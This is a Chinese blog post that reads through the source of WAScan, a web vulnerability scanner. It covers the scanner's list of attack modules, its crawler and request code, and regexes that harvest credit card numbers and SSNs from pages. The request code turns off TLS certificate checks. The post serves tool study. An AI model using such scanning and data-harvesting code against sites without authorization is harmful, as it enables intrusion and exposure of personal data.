WAScan源码阅读

栏目: 编程语言 · XML · 发布时间: 5年前

内容简介:WAScan源码阅读所有文件主入口文件。会先初始化一些

WAScan源码阅读

README

  • python2.7

整体功能

指纹识别

  • cms系统 6
  • web框架 22
  • cookeis/headers安全
  • 开发语言 9
  • 操作系统 7
  • 服务器 all
  • 防火墙 50+

攻击

  • Bash 命令注入
  • SQL盲注
  • 溢出
  • CRLF
  • 头部 SQL 注入
  • 头部XSS
  • HTML注入
  • LDAP注入
  • 本地文件包含
  • 执行操作系统命令
  • php 代码注入
  • SQL注入
  • 服务器端注入
  • Xpath注入
  • XSS
  • XML注入

检查

  • Apache状态检测
  • 开放跳转
  • phpinfo
  • robots.txt
  • xst

暴力攻击

  • admin面板
  • 后门
  • 备份目录
  • 备份文件
  • 常规目录
  • 常规文件
  • 隐藏参数

信息搜集

  • 信用卡信息
  • 邮箱
  • 私有ip
  • 错误信息
  • ssn

整体结构

类型 作用
dir lib 扩展,攻击用到的一些字典等等
dir plugin 主要攻击脚本
dir screen 一些截图
file .gitignore
file LICENSE 许可证
file README.md 介绍
file wascan.py 主入口文件

所有文件

WAScan
├── lib
│   ├── db
│   │   ├── adminpanel.wascan
│   │   ├── backdoor.wascan
│   │   ├── commondir.wascan
│   │   ├── commonfile.wascan
│   │   ├── errors
│   │   │   ├── buffer.json
│   │   │   ├── ldap.json
│   │   │   ├── lfi.json
│   │   │   └── xpath.json
│   │   ├── openredirect.wascan
│   │   ├── params.wascan
│   │   ├── phpinfo.wascan
│   │   ├── sqldberror
│   │   │   ├── db2.json
│   │   │   ├── firebird.json
│   │   │   ├── frontbase.json
│   │   │   ├── hsqldb.json
│   │   │   ├── informix.json
│   │   │   ├── ingres.json
│   │   │   ├── maccess.json
│   │   │   ├── maxdb.json
│   │   │   ├── mssql.json
│   │   │   ├── mysql.json
│   │   │   ├── oracle.json
│   │   │   ├── postgresql.json
│   │   │   ├── sqlite.json
│   │   │   └── sybase.json
│   │   └── useragent.wascan
│   ├── handler
│   │   ├── attacks.py
│   │   ├── audit.py
│   │   ├── brute.py
│   │   ├── crawler.py
│   │   ├── disclosure.py
│   │   ├── fingerprint.py
│   │   ├── fullscan.py
│   │   └── __init__.py
│   ├── __init__.py
│   ├── parser
│   │   ├── getcc.py
│   │   ├── getip.py
│   │   ├── getmail.py
│   │   ├── getssn.py
│   │   ├── __init__.py
│   │   └── parse.py
│   ├── request
│   │   ├── crawler.py
│   │   ├── __init__.py
│   │   ├── ragent.py
│   │   └── request.py
│   └── utils
│       ├── check.py
│       ├── colors.py
│       ├── dirs.py
│       ├── exception.py
│       ├── __init__.py
│       ├── params.py
│       ├── payload.py
│       ├── printer.py
│       ├── rand.py
│       ├── readfile.py
│       ├── settings.py
│       ├── unicode.py
│       └── usage.py
├── LICENSE
├── plugins
│   ├── attacks
│   │   ├── bashi.py
│   │   ├── blindsqli.py
│   │   ├── bufferoverflow.py
│   │   ├── crlf.py
│   │   ├── headersqli.py
│   │   ├── headerxss.py
│   │   ├── htmli.py
│   │   ├── __init__.py
│   │   ├── ldapi.py
│   │   ├── lfi.py
│   │   ├── oscommand.py
│   │   ├── phpi.py
│   │   ├── sqli.py
│   │   ├── ssi.py
│   │   ├── xpathi.py
│   │   ├── xss.py
│   │   └── xxe.py
│   ├── audit
│   │   ├── apache.py
│   │   ├── __init__.py
│   │   ├── open_redirect.py
│   │   ├── phpinfo.py
│   │   ├── robots.py
│   │   └── xst.py
│   ├── brute
│   │   ├── adminpanel.py
│   │   ├── backdoor.py
│   │   ├── backupdir.py
│   │   ├── backupfile.py
│   │   ├── commondir.py
│   │   ├── commonfile.py
│   │   ├── __init__.py
│   │   └── params.py
│   ├── disclosure
│   │   ├── creditcards.py
│   │   ├── emails.py
│   │   ├── errors.py
│   │   ├── __init__.py
│   │   ├── privateip.py
│   │   └── ssn.py
│   ├── fingerprint
│   │   ├── cms
│   │   │   ├── adobeaem.py
│   │   │   ├── drupal.py
│   │   │   ├── __init__.py
│   │   │   ├── joomla.py
│   │   │   ├── magento.py
│   │   │   ├── plone.py
│   │   │   ├── silverstripe.py
│   │   │   └── wordpress.py
│   │   ├── framework
│   │   │   ├── apachejackrabbit.py
│   │   │   ├── asp_mvc.py
│   │   │   ├── cakephp.py
│   │   │   ├── cherrypy.py
│   │   │   ├── codeigniter.py
│   │   │   ├── dancer.py
│   │   │   ├── django.py
│   │   │   ├── flask.py
│   │   │   ├── fuelphp.py
│   │   │   ├── grails.py
│   │   │   ├── horde.py
│   │   │   ├── __init__.py
│   │   │   ├── karrigell.py
│   │   │   ├── larvel.py
│   │   │   ├── nette.py
│   │   │   ├── phalcon.py
│   │   │   ├── play.py
│   │   │   ├── rails.py
│   │   │   ├── seagull.py
│   │   │   ├── spring.py
│   │   │   ├── symfony.py
│   │   │   ├── web2py.py
│   │   │   ├── yii.py
│   │   │   └── zend.py
│   │   ├── header
│   │   │   ├── cookies.py
│   │   │   ├── header.py
│   │   │   └── __init__.py
│   │   ├── __init__.py
│   │   ├── language
│   │   │   ├── aspnet.py
│   │   │   ├── asp.py
│   │   │   ├── coldfusion.py
│   │   │   ├── flash.py
│   │   │   ├── __init__.py
│   │   │   ├── java.py
│   │   │   ├── perl.py
│   │   │   ├── php.py
│   │   │   ├── python.py
│   │   │   └── ruby.py
│   │   ├── os
│   │   │   ├── bsd.py
│   │   │   ├── ibm.py
│   │   │   ├── __init__.py
│   │   │   ├── linux.py
│   │   │   ├── mac.py
│   │   │   ├── solaris.py
│   │   │   ├── unix.py
│   │   │   └── windows.py
│   │   ├── server
│   │   │   ├── __init__.py
│   │   │   └── server.py
│   │   └── waf
│   │       ├── airlock.py
│   │       ├── anquanbao.py
│   │       ├── armor.py
│   │       ├── asm.py
│   │       ├── aws.py
│   │       ├── baidu.py
│   │       ├── barracuda.py
│   │       ├── betterwpsecurity.py
│   │       ├── bigip.py
│   │       ├── binarysec.py
│   │       ├── blockdos.py
│   │       ├── ciscoacexml.py
│   │       ├── cloudflare.py
│   │       ├── cloudfront.py
│   │       ├── comodo.py
│   │       ├── datapower.py
│   │       ├── denyall.py
│   │       ├── dotdefender.py
│   │       ├── edgecast.py
│   │       ├── expressionengine.py
│   │       ├── fortiweb.py
│   │       ├── hyperguard.py
│   │       ├── incapsula.py
│   │       ├── __init__.py
│   │       ├── isaserver.py
│   │       ├── jiasule.py
│   │       ├── knownsec.py
│   │       ├── kona.py
│   │       ├── modsecurity.py
│   │       ├── netcontinuum.py
│   │       ├── netscaler.py
│   │       ├── newdefend.py
│   │       ├── nsfocus.py
│   │       ├── paloalto.py
│   │       ├── profense.py
│   │       ├── radware.py
│   │       ├── requestvalidationmode.py
│   │       ├── safe3.py
│   │       ├── safedog.py
│   │       ├── secureiis.py
│   │       ├── senginx.py
│   │       ├── sitelock.py
│   │       ├── sonicwall.py
│   │       ├── sophos.py
│   │       ├── stingray.py
│   │       ├── sucuri.py
│   │       ├── teros.py
│   │       ├── trafficshield.py
│   │       ├── urlscan.py
│   │       ├── uspses.py
│   │       ├── varnish.py
│   │       ├── wallarm.py
│   │       ├── webknight.py
│   │       ├── yundun.py
│   │       └── yunsuo.py
│   └── __init__.py
├── README.md
├── screen
│   ├── screen_2.png
│   ├── screen_3.png
│   ├── screen_4.png
│   ├── screen_5.png
│   ├── screen_6.png
│   ├── screen_7.png
│   ├── screen_8.png
│   └── screen.png
└── wascan.py

22 directories, 218 files

入口文件:wascan.py

主入口文件。会先初始化一些 Usage ,接受命令行参数并进行相关的前期处理。然后根据参数开始进行扫描。

if __name__ == "__main__":
	try:
		wascan().main()
	except KeyboardInterrupt,e: 
		exit(warn('Exiting... :('))

定义了一个 wascan 类,通过 getopt.getopt 接受命令行参数。对应代码如下:

for opt,arg in opts:
	# CUrl 检查URL ,并规范化
    if opt in ('-u','--url'):url = CUrl(arg) 
	# CScan 检查scan参数是否符合范围
    if opt in ('-s','--scan'):scan = CScan(arg) 
	# CHeaders 传入参数为字符串,调用该函数解析成dict
    if opt in ('-H','--headers'):kwargs['headers'] = CHeaders(arg)
	# POST 体的参数
    if opt in ('-d','--data'):kwargs['data'] = arg
	# 是否进行暴力破解
    if opt in ('-b','--brute'):kwargs['brute'] = True
	# 指定请求方法
    if opt in ('-m','--method'):kwargs['method'] = arg
	# 指定 host ,将其值更新到 header头 的 Host字段
    if opt in ('-h','--host'):kwargs['headers'].update({'Host':arg}) 
	# 指定 referer,将其值更新到 header头
    if opt in ('-R','--referer'):kwargs['headers'].update({'Referer':arg})
	# 指定 auth
    if opt in ('-a','--auth'):kwargs['auth'] = CAuth(arg) 
	# 指定 agent
    if opt in ('-A','--agent'):kwargs['agent'] = arg 
	# 指定 cookie
    if opt in ('-C','--cookie'):kwargs['cookie'] = arg 
	# 采用随机的 agent
    if opt in ('-r','--ragent'):kwargs['agent'] = ragent()
	# 采用代理
    if opt in ('-p','--proxy'):kwargs['proxy'] = arg 
	# 代理是否要认证
    if opt in ('-P','--proxy-auth'):kwargs['pauth'] = CAuth(arg) 
	# 指定超时时间
    if opt in ('-t','--timeout'):kwargs['timeout'] = float(arg) 
	# 对于302情况,是否要跟随,默认为 False不跳转
    if opt in ('-n','--redirect'):kwargs['redirect'] = False
	# 是否开启指纹识别
    if opt in ('-v','--verbose'):verbose = True
	# 输出版本信息
    if opt in ('-V','--version'):version = Version()
	# 输出帮助信息
    if opt in ('-hh','--help'):self.usage.basic(True)

scan 参数为扫描类型,对应如下:

scan值 扫描类型
0 指纹Fingerprint
1 攻击Attacks
2 审计Audit
3 爆破Brute
4 信息搜集Disclosure
5 全面扫描

对应代码如下:

class wascan(object):
    ...省略...
	def main(self):
		...省略...
		scan = "5"
		...省略...
		try:
			# 打印时间和URL
			PTIME(url)
			if kwargs['brute']:
				BruteParams(kwargs,url,kwargs['data']).run()
			if scan == 0:
				Fingerprint(kwargs,url).run()
			if scan == 1:
				Attacks(kwargs,url,kwargs['data'])
			if scan == 2:
				Audit(kwargs,url,kwargs['data'])
			if scan == 3:
				Brute(kwargs,url,kwargs['data'])
			if scan == 4:
				Disclosure(kwargs,url,kwargs['data']).run()
			# full scan
			if int(scan) == 5:
				info('Starting full scan module...')
				Fingerprint(kwargs,url).run()
				for u in Crawler().run(kwargs,url,kwargs['data']):
					test('Testing URL: %s'%(u))
					if '?' not in url:
						warn('Not found query in this URL... Skipping..')
					if type(u[0]) is tuple:
						kwargs['data'] = u[1]
						FullScan(kwargs,u[0],kwargs['data'])
					else:
						FullScan(kwargs,u,kwargs['data'])
				Audit(kwargs,parse.netloc,kwargs['data'])
				Brute(kwargs,parse.netloc,kwargs['data'])
		except WascanUnboundLocalError,e:
			pass

lib/parser 文件夹

主要定义一些匹配模式,用于查找页面上的各种信息。

│   ├── parser
│   │   ├── getcc.py
│   │   ├── getip.py
│   │   ├── getmail.py
│   │   ├── getssn.py
│   │   ├── __init__.py
│   │   └── parse.py

信用卡:lib/parser/getcc.py

获取信用卡信息

def getcc(content):
	"""Credit Card"""
	CC_LIST = re.findall(r'((^|\s)\d{4}[- ]?(\d{4}[- ]?\d{4}|\d{6})[- ]?(\d{5}|\d{4})($|\s))',content)
	if CC_LIST != None or CC_LIST != []:
		return CC_LIST

IP:lib/parser/getip.py

获取ip

def getip(content):
	"""Private IP"""
	IP_LIST = re.findall(r'[0-9]+(?:\.[0-9]+){3}',content,re.I)
	if IP_LIST != None or IP_LIST != []:
		return IP_LIST

邮箱:lib/parer/getmail.py

获取邮箱

def getmail(content):
	"""E-mail"""
	EMAIL_LIST = re.findall(r'[a-zA-Z0-9.\-_+#~!$&\',;=:]+@+[a-zA-Z0-9-]*\.\w*',content)
	if EMAIL_LIST != None or EMAIL_LIST != []:
		return EMAIL_LIST

US SSN: lib/parser/getssn.py

def getssn(content):
	"""US Social Security number"""
	SSN_LIST = re.findall(r'(((?!000)(?!666)(?:[0-6]\d{2}|7[0-2][0-9]|73[0-3]|7[5-6][0-9]|77[0-2]))-((?!00)\d{2})-((?!0000)\d{4}))',content)
	if SSN_LIST != None or SSN_LIST != []:
		return SSN_LIST

抓取解析: lib/parser/parse.py

parse 类,进行真正的信息搜集工作。定义了 clean 方法,将响应中的各种标签,各种可能的符号直接 replace 掉,然后再进行真正的搜索。简单粗暴。

class parse:
	def __init__(self,content):
		self.content = content 

	def clean(self):
		"""Clean HTML Response"""
		self.content = re.sub('<em>','',self.content)
		self.content = re.sub('<b>','',self.content)
		self.content = re.sub('</b>','',self.content)
		self.content = re.sub('<strong>','',self.content)
		self.content = re.sub('</strong>','',self.content)
		self.content = re.sub('</em>','',self.content)
		self.content = re.sub('<wbr>','',self.content)
		self.content = re.sub('</wbr>','',self.content)
		self.content = re.sub('<li>','',self.content)
		self.content = re.sub('</li>','',self.content)
		for x in ('>', ':', '=', '<', '/', '\\', ';', '&', '%3A', '%3D', '%3C'):
			self.content = string.replace(self.content,x,' ')

	def getmail(self):
		"""Get Emails"""
		self.clean()
		return getmail(self.content)

	def getip(self):
		""" Get IP """
		self.clean()
		return getip(self.content)

	def getcc(self):
		""" Get Credit Card"""
		self.clean()
		return getcc(self.content)

	def getssn(self):
		""" """
		self.clean()
		return getssn(self.content)

lib/request 文件夹

主要是定义一些跟 请求 相关的方法/类/功能

│   ├── request
│   │   ├── crawler.py
│   │   ├── __init__.py
│   │   ├── ragent.py
│   │   └── request.py

爬虫:lib/request/crawler.py

如名,爬虫。爬取页面上的所有连接。

try:
	from BeautifulSoup import BeautifulSoup
except ImportError:
	from bs4 import BeautifulSoup

# 定义了要排除的情况。比如 确定是 7z后缀名,说明是压缩包 而不是网页
EXCLUDED_MEDIA_EXTENSIONS = (
    '.7z', '.aac', '.aiff', '.au', '.avi', '.bin', '.bmp', '.cab', '.dll', '.dmp', '.ear', '.exe', '.flv', '.gif',
    '.gz', '.image', '.iso', '.jar', '.jpeg', '.jpg', '.mkv', '.mov', '.mp3', '.mp4', '.mpeg', '.mpg', '.pdf', '.png',
    '.ps', '.rar', '.scm', '.so', '.tar', '.tif', '.war', '.wav', '.wmv', '.zip'
)

接下来是爬虫类 SCrawler ,它继承自 Request 类。

class SCrawler(Request):
	""" Simple Crawler """
	def __init__(self,kwargs,url,data):
		# 父类初始化
		Request.__init__(self,kwargs)
		# url
		self.url = url 
		# post 的 data体
		self.data = data
		# 表格?
		self.forms = []
		# ok 的 链接
		self.ok_links = []
		# 所有 链接
		self.all_links = []
		# 协议
		self.scheme = urlsplit(url).scheme
		# 域名
		self.netloc = urlsplit(url).netloc
		# 内容 初始化为 空
		self.content = None

	def run(self):
		# send request
		resp = self.Send(url=self.url,data=self.data)
		# 获取响应内容
		self.content = resp.content
		# 调用extract解析出相应内容
		self.extract 
		for link in self.all_links:
			# 对于 all_links 中的所有链接,包括 绝对URL 、 相对URL
			# 调用 absolute(link) 统一为 绝对URL
			r_link = self.absolute(link)
			if r_link:
				# 如果 r_link 还未被收录到 ok_links 中,则添加
				if r_link not in self.ok_links:
					self.ok_links.append(r_link)
		return self.ok_links

@property
	# 疑问:<img src="" > 此链接不收取?
	def extract(self):
		# href 找到页面里所有的 超链接 <a href="http://test/com">test</a>
		for tag in self.soup.findAll('a',href=True):
			# 添加到 all_links 中
			self.all_links.append(tag['href'].split('#')[0])
		# src 找到页面里所有的 连接 <frame src=""> <iframe src="">
		for tag in self.soup.findAll(['frame','iframe'],src=True):
			self.all_links.append(tag['src'].split('#')[0])
		# formaction 定位 button 提取formaction <button type="submit" formaction="demo_admin.asp">以管理员身份提交</button>
		for tag in self.soup.findAll('button',formaction=True):
			self.all_links.append(tag['formaction'])
		# extract form
		# <form action="demo_form.asp" method="get">
		# <input type="text" name="lname" />
		# <button type="submit">提交</button><br />
		form = self.form()
		if form != None and form != []:
			if form not in self.all_links:
				self.all_links.append(form)

@property
	def soup(self):
		soup = BeautifulSoup(self.content)
		return soup

	# 检查link中的 后缀名
	def check_ext(self,link):
		"""check extension"""
		if link not in EXCLUDED_MEDIA_EXTENSIONS:
			return link

	# 检查是否有定义 method,若无则默认为 GET
	def check_method(self,method):
		"""check method"""
		if method != []:
			return "GET"
		elif method != []:
			return method[0]
	
	# 检查 url 的合法性
	# 编码 、空格、 # 等
	def check_url(self,url):
		"""check url"""
		url = unquote_plus(url)
		url = url.replace("&","&")
		url = url.replace("#","")
		url = url.replace(" ","+")
		return url 
	# 检查 action 对应的值
	def check_action(self,action,url):
		""" check form action """
		if action == [] or action[0] == "/":
			return self.check_url(url)
		elif action != [] and action != "":
			if action[0] in url:
				self.check_url(url)
			else:
				return self.check_url(CPath(url+action[0]))

	def check_name_value(self,string):
		""" check form name and value """
		if string == []:
			return "TEST"
		elif string != []:
			return string[0]

	# <form action="demo_form.asp" method="get">
	# <input type="text" name="lname" />
	# <button type="submit">提交</button><br />
	def form(self):
		""" search forms """
		# 搜索表格 加入到 self.forms 中
		for form in self.soup.findAll('form'):
			if form not in self.forms:
				self.forms.append(form)
		for form in self.forms:
			if form != "" and form != None:
				# 调用 extract_form 将 url 从中解析出来
				return self.extract_form(str(form),self.url)

	# <form action="demo_form.asp" method="get">
	# <input type="text" name="lname" />
	# <button type="submit">提交</button><br />
	def extract_form(self,form,url):
		""" extract form """
		query = []
		action = ""
		method = ""
		try:
			# method
			method += self.check_method(findall(r'method=[\'\"](.+?)[\'\"]',form,I))
			# action
			action += self.check_action((findall(r'method=[\'\"](.+?)[\'\"]',form,I),url))
		except Exception,e:
			pass
		# 寻找form中的参数 ,并保存到 query 中
		for inputs in form.split('/>'):
			if search(r'\<input',inputs,I):
				try:
					# name
					name = self.check_name_value(findall(r'name=[\'\"](.+?)[\'\"]',inputs,I))
					# value
					value = self.check_name_value(findall(r'value=[\'\"](.+?)[\'\"]',inputs,I))
					name_value = "%s=%s"%(name,value)
					if len(query) == 0:query.append(name_value)
					if len(query) == 1:query[0] += "&%s"%(name_value) 
				except Exception,e:
					pass
		# 根据 method 的不同,组装url
		if action:
			if method.lower() == "get":
				if query != []:
					return "%s?%s"%(action,query[0])
				return action
			elif method.lower() == "post":
				if query != []:
					return action,query[0]
				return action
		# 注,这里存在BUG。
		# 调用链 form = self.form()
		# form() 的返回 return self.extract_form(str(form),self.url)
		# extract_form 在 method为 POST 且 query != [] 的情况下 ,
		# return action,query[0]
		# 会丢失掉 query[0] 即 POST 的参数

	# 获取绝对URL
	def absolute(self,link):
		""" make absolute url """
		link = self.check_ext(link)
		parts = urlsplit(link)
		# urlsplit
		scheme = ucode(parts.scheme)
		netloc = ucode(parts.netloc)
		path = ucode(parts.path) or '/'
		query = ucode(parts.query)
		# make
		if scheme == 'http' or scheme == 'https':
			if netloc != "":
				if netloc in self.netloc:
					return urlunparse((scheme,netloc,path,'',query,''))
		#
		elif link.startswith('//'):
			if netloc != "":
				if self.netloc in netloc:
					return urlunparse((self.scheme,netloc,(path or '/'),'',query,''))
		#
		elif link.startswith('/'):
			return urlunparse((self.scheme,self.netloc,path,'',query,''))
		#
		elif link.startswith('?'):
			return urlunparse((self.scheme,self.netloc,path,'',query,''))
		#
		elif link == "" or link.startswith('#'):
			return self.url 
		#
		else:
			return urlunparse((self.scheme,self.netloc,path,'',query,''))

User Agent: lib/request/ragent.py

生成随机的 User-Agent。命令行选项 wascan.py --ragent 开启。

def ragent():
	"""random agent"""
	user_agents = ()
	realpath = path.join(path.realpath(__file__).split('lib')[0],'lib/db/')
	realpath += "useragent.wascan"
	for _ in readfile(realpath):
		user_agents += (_,)
	return user_agents[randint(0,len(user_agents)-1)]

请求:lib/requests/request.py

基本请求。包括请求/代理认证,请求,重定向,响应的处理。

两个方法用于请求/代理认证

if hasattr(ssl, '_create_unverified_context'): 
    ssl._create_default_https_context = ssl._create_unverified_context

# BasicAuthCredentials 用来处理 认证相关的信息
# wascan.py --url xxx --proxy yyy --proxy-auth "root:1234"
# wascan.py --url xxx --auth "admin:1233"

# In [20]: creds = "admin:123"
# In [21]: BasicAuthCredentials(creds)
# Out[21]: ('admin', '123')
def BasicAuthCredentials(creds):
	# return tuple
	return tuple(
		creds.split(':')
		)

# wascan.py --url xxx --scan yyy --proxy 10.10.10.10:80
def ProxyDict(proxy):
	# return dict
	return {
		'http'  : proxy,
		'https' : proxy
	}

Request类,发送基本请求,处理头部参数,认证、代理、cookie、超时等问题。

class Request(object):
	"""docstring for Request"""
	# 接受参数
	def __init__(self,*kwargs):
		self.kwargs = kwargs
	
	# 发送请求
	def Send(self,url,method="get",data=None,headers=None):
		# make a request
		# 提取各项参数 并 保存到 __dict__ ,后期进一步处理
		_dict_ = self.kwargs[0] # self.kwargs is a tuple, select [0]
		# 获取各项值
		auth = None if "auth" not in _dict_ else _dict_["auth"]
		agent = None if "agent" not in _dict_ else _dict_["agent"]
		proxy = None if "proxy" not in _dict_ else _dict_["proxy"]
		pauth = None if "pauth" not in _dict_ else _dict_["pauth"]
		cookie = None if "cookie" not in _dict_ else _dict_["cookie"]
		timeout = None if "timeout" not in _dict_ else _dict_["timeout"]
		redirect = True if "redirect" not in _dict_ else _dict_["redirect"]
		_headers_ = None if "headers" not in _dict_ else _dict_["headers"]
		_data_ = None if "data" not in _dict_ else _dict_["data"]
		_method_ = None if "method"  not in _dict_ else _dict_["method"]
		# set method
		if method:
			if _method_ != None:
				method = _method_.upper()
			else:
				method = method.upper()
		# set data
		if data is None:
			if _data_ != None:
				data = _data_
			else:
				data = {}
		# if headers == None: headers = {}
		if headers is None: headers = {}

		# if auth == None: auth = ()
		if auth is None: auth = ()

		# set request headers
		# add user-agent header value
		if 'User-Agent' not in headers:
			headers['User-Agent'] = agent
		# _headers_ add to headers
		if isinstance(_headers_,dict):
			headers.update(_headers_)

		# 处理 认证 、代理
		# process basic authentication
		if auth != None and auth != ():
			if ':' in  auth:
				authorization = ("%s:%s"%(BasicAuthCredentials(auth))).encode('base64')
				headers['Authorization'] = "Basic %s"%(authorization.replace('\n',''))
		# process proxy basic authorization
		if pauth != None:
			if ':' in pauth:
				proxy_authorization = ("%s:%s"%(BasicAuthCredentials(pauth))).encode('base64')
				headers['Proxy-authorization'] = "Basic %s"%(proxy_authorization.replace('\n',''))
		# 处理 超时问题
		# process socket timeout
		if timeout != None:
			socket.setdefaulttimeout(timeout)
		# set handlers
		# handled http and https
		handlers = [urllib2.HTTPHandler(),urllib2.HTTPSHandler()]

		# process cookie handler
		if 'Cookie' not in headers:
			if cookie != None and cookie != "":
				headers['Cookie'] = cookie
			# handlers.append(HTTPCookieProcessor(cookie))

		# process redirect
		# 处理是否跳转 , NoRedirectHandler 定义见下
		if redirect != True:
			handlers.append(NoRedirectHandler)

		# process proxies
		if proxy:
			proxies = ProxyDict(proxy)
			handlers.append(urllib2.ProxyHandler(proxies))

		# install opener
		opener = urllib2.build_opener(*handlers)
		urllib2.install_opener(opener)
		
		# process method
		# method get
		if method == "GET":
			if data: url = "%s?%s"%(url,data)
			req = urllib2.Request(url,headers=headers)
		# other methods
		elif method == "POST":
			req = urllib2.Request(url,data=data,headers=headers)
		# other methods
		else:
			req = urllib2.Request(url,headers=headers)
			req.get_method = lambda : method
		# response object
		try:
			resp = urllib2.urlopen(req)
		except urllib2.HTTPError,e:			
			resp = e
		except socket.error,e:
			exit(warn('Error: %s'%e))
		except urllib2.URLError,e:
			exit(warn('Error: %s'%e))
		return ResponseObject(resp)

NoRedirectHandler ,不进行跳转。

class NoRedirectHandler(urllib2.HTTPRedirectHandler):
	"""docstring for NoRedirectHandler"""
	def http_error_302(self,req,fp,code,msg,headers):
		pass
	# http status code 302
	http_error_302 = http_error_302 = http_error_302 = http_error_302

响应处理类。获取响应内容,响应url,响应的status_code,响应的头部。

class ResponseObject(object):
	"""docstring for ResponseObject"""
	def __init__(self,resp):
		# get content
		self.content = resp.read()
		# get url
		self.url = resp.geturl()
		# get status code
		self.code = resp.getcode()
		# get headers
		self.headers = resp.headers.dict

lib/utils 文件夹

主要是定义一些小功能、小工具

│   └── utils
│       ├── check.py
│       ├── colors.py
│       ├── dirs.py
│       ├── exception.py
│       ├── __init__.py
│       ├── params.py
│       ├── payload.py
│       ├── printer.py
│       ├── rand.py
│       ├── readfile.py
│       ├── settings.py
│       ├── unicode.py
│       └── usage.py

package标识:lib/utils/init.py

无,跳过

基本检查:lib/utils/check.py

如名,主要进行一些前期的检查准备。

#!/usr/bin/env python
# -*- coding:utf-8 -*-
#
# @name: Wascan - Web Application Scanner
# @repo: https://github.com/m4ll0k/Wascan
# @author: Momo Outaadi (M4ll0k)
# @license: See the file 'LICENSE.txt'

from re import sub,I,findall
from lib.utils.colors import *
from lib.utils.printer import *
from urlparse import urlsplit,urljoin
from lib.utils.rand import r_string

# CPath 检查路径,用于处理 绝对/相对路径,生成完整路径
# 实际调用 urlparse 的 urljoin
# In [43]: CPath("http://www.google.com/1/aaa.html","bbbb.html")
# Out[43]: 'http://www.google.com/1/bbbb.html'

# In [44]: CPath("http://www.google.com/1/aaa.html","/2/bbbb.html")
# Out[44]: 'http://www.google.com/2/bbbb.html'

# In [45]: CPath("http://www.google.com/1/aaa.html","2/bbbb.html")
# Out[45]: 'http://www.google.com/1/2/bbbb.html'
def CPath(url,path):
	return urljoin(url,path)

# 生成随机参数值
# 这段代码存在bug
# In [49]: AParams("test=chybeta")
# ---------------------------------------------------------------------------
# TypeError Traceback (most recent call last)
# <ipython-input-49-103eb92ad1e0> in <module>()
# ----> 1 AParams("test=chybeta")
# /media/chybeta/security/tool/scanner/WAScan/lib/utils/check.py in AParams(params)
# 21 return "%s=%s"%(params,random_string)
# 22 else:
# ---> 23 return "%s%s"%(r_string(10)).upper()
# 24 return params
# 25
# TypeError: not enough arguments for format string
# fix bug:
# return "%s%s"%(params, random_string)
def AParams(params):
	random_string = "%s"%(r_string(10)).upper()
	if '=' not in params:
		return "%s=%s"%(params,random_string)
	
	else:
		# 这里如果 = 已经出现在 params 中了
		return "%s%s"%(r_string(10)).upper()
	return params

# CQuery 拼接 url 和 查询参数 ,主要针对 GET请求
def CQuery(url,params):
	# 生成参数值对
	params = AParams(params)
	# http://test.com/?
	if url.endswith('?'):
		# 直接加上 参数
		return url+params
	# 如果不是
	elif not url.endswith('?'):
		# http://test.com/a&
		if url.endswith('&'):
			# 也可以直接加上参数
			return url+params
		# http://test.com/?a=1
		elif '?' in url and '&' not in url:
			# 需要加上 & 符号
			return url+'&'+params
		else:
			# 其他情况,干脆直接 加 ?
			return url+"?"+params
	else:
		# 这句话多余????
		return url+"?"+ params

def CParams(url):
	if '&' not in url:
		url = sub(findall(r'\?(\S*)\=',url)[0],'%s%s%s'%(GREEN%(1),findall(r'\?(\S*)\=',url)[0],RESET),url)
		return url
	elif '&' in url:
		url = sub(findall(r'\&(\S*)\=',url)[0],'%s%s%s'%(GREEN%(1),findall(r'\&(\S*)\=',url)[0],RESET),url)
		return url 
	else: return url

# url检查,协议
def CUrl(url):
	split = urlsplit(url)
	# check URL scheme
	if split.scheme not in ['http','https','']:
		# e.g: exit if URL scheme = ftp,ssh,..etc
		exit(less('Check your URL, scheme "%s" not supported!!'%(split.scheme)))
	else:
		# if URL --> www.site.com
		if split.scheme not in ['http','https']:
			# return http://www.site.com
			return "http://%s"%(url)
		else:
			return url
# url重组
def CNQuery(url):
	if '?' in url:
		parse = urlsplit(url)
		if parse.scheme:return parse.scheme + '://' + parse.netloc + '/' 
		else: return 'http://' + parse.path+'/'
	else:
		parse = urlsplit(url)
		if parse.scheme:return parse.scheme + '://' + parse.netloc + '/'
		else:return 'http://' + parse.path + '/'

# 检查url的尾部 是否 / 结尾,去除
def CEndUrl(url):
	if url.endswith('/'):
		return url[:-1]
	return url

# 接受 scan参数即 扫描类型
# 然后进行检查是否在 0 - 5 的范围内
def CScan(scan):
	# check scan options
	if scan not in ['0','1','2','3','4','5']:
		info('Option --scan haven\'t argument, assuming default value 5')
		scan = int('5') 
	if isinstance(scan,str):
		return int(scan)
	return int(scan)

# 对 URL进行各项切分
class SplitURL:
	def __init__(self,url):
		# http,https
		# 协议
		self.scheme = urlsplit(url).scheme 
		# 域名
		# www.site.com
		self.netloc = CUrl(urlsplit(url).netloc)
		# 路径
		# /test/index.php
		self.path = urlsplit(url).path
		# 查询参数
		# id=1&f=1
		self.query = urlsplit(url).query
		# fragment
		# #test
		self.fragment = urlsplit(url).fragment

# 解析 host头部
def CHeaders(headers):
	# e.g: "Host:google.com" return {'Host':'google.com'}
	_ = {}
	if ':' in headers:
		if ',' in headers:
			headerList = headers.split(',')
			for header in headerList:
				_[header.split(':')[0]] = header.split(':')[1]
		else:
			_[headers.split(':')[0]] = headers.split(':')[1]
	return _

# 用于 认证
def CAuth(auth):
	if ':' not in auth:
		return "%s:"%(auth)
	return auth

颜色常量定义: lib/utils/colors.py

定义一些颜色常量,略过。

列举py文件: lib/utils/dirs.py

定义了 dirs 函数,用于列举出指定目录下,指定后缀名为 py ,且不是 __init__.py 的 py文件。

def dirs(path):
	files = []
	_ = os.listdir(path)
	for file in _:
		if not file.endswith('.py') or file == '__init__.py':pass
		else:files.append(file)
	return files

测试用例如下:

In [39]: from lib.utils.dirs import dirs

In [40]: dirs("./")
Out[40]: ['wascan.py']

In [41]: dirs("./lib/utils/")
Out[41]: 
['params.py',
 'usage.py',
 'colors.py',
 'readfile.py',
 'exception.py',
 'check.py',
 'printer.py',
 'unicode.py',
 'settings.py',
 'rand.py',
 'dirs.py',
 'payload.py']

异常定义:lib/utils/exception.py

定义了几种可能出现的错误:

class WascanUnboundLocalError(UnboundLocalError):
	pass

class WascanDataException(Exception):
	pass

class WascanNoneException(Exception):
	pass

class WascanInputException(Exception):
	pass

class WascanGenericException(Exception):
	pass

class WascanConnectionException(HTTPError):
	pass

class WascanKeyboardInterrupt(KeyboardInterrupt):
	pass

参数payload处理:lib/utils/params.py

